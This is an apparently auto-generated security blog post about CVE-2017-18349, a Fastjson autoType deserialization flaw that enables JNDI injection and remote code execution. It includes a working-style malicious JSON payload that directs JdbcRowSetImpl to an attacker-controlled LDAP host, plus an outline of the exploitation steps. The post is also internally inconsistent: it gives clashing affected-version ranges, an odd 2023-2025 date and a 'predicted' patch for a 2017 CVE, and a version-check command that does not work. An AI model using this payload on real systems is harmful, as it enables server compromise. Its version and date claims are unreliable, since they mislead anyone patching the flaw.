Listen to this Post
CVE-2017-18349 is a deserialization vulnerability in the Fastjson library, affecting versions before 1.2.25. The issue stems from the mishandling of the autoType feature during JSON parsing. When a JSON document contains an @type key with a value specifying a Java class, Fastjson may instantiate objects of that class and invoke certain public methods. This behavior can be exploited to trigger JNDI injection. An attacker crafts a malicious JSON payload where the @type points to a class like com.sun.rowset.JdbcRowSetImpl, which supports JNDI lookups. The payload includes a dataSourceName pointing to a malicious LDAP server controlled by the attacker. Upon deserialization, the JNDI lookup is executed, connecting to the attacker’s server. The LDAP server can return a serialized object that, when deserialized, executes arbitrary code on the target system. This vulnerability arises due to insufficient validation of @type values, allowing untrusted classes to be loaded and methods to be called. Even with autoType disabled, bypass techniques exist. The initial fix was incomplete, leading to continued exploits. Later bypasses, such as CVE-2022-25845, involve using different class names or deserialization gadgets. Exploitation requires the application to use vulnerable Fastjson versions and deserialize untrusted JSON data. The impact is critical, enabling remote code execution and full server compromise. This vulnerability has been actively exploited in the wild from 2023 through 2025.
Platform: Fastjson
Version: before 1.2.48
Vulnerability: AutoType deserialization vulnerability
Severity: Critical
date: 2023-2025
Prediction: Patch in 1.2.83
What Undercode Say:
Analytics
Exploitation observed 2023-2025
Targets Java applications
High attack frequency
Showing bash commands and codes related to the blog
Check Fastjson version:
java -cp fastjson.jar com.alibaba.fastjson.JSON
Sample malicious JSON:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
Exploit detection command:
grep -r "fastjson" pom.xml
how Exploit:
Craft malicious JSON
Host LDAP server
Trigger deserialization
Execute remote code
Protection from this CVE
Upgrade Fastjson version
Disable autoType feature
Use safemode option
Impact:
Remote code execution
Server compromise
Data breach
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
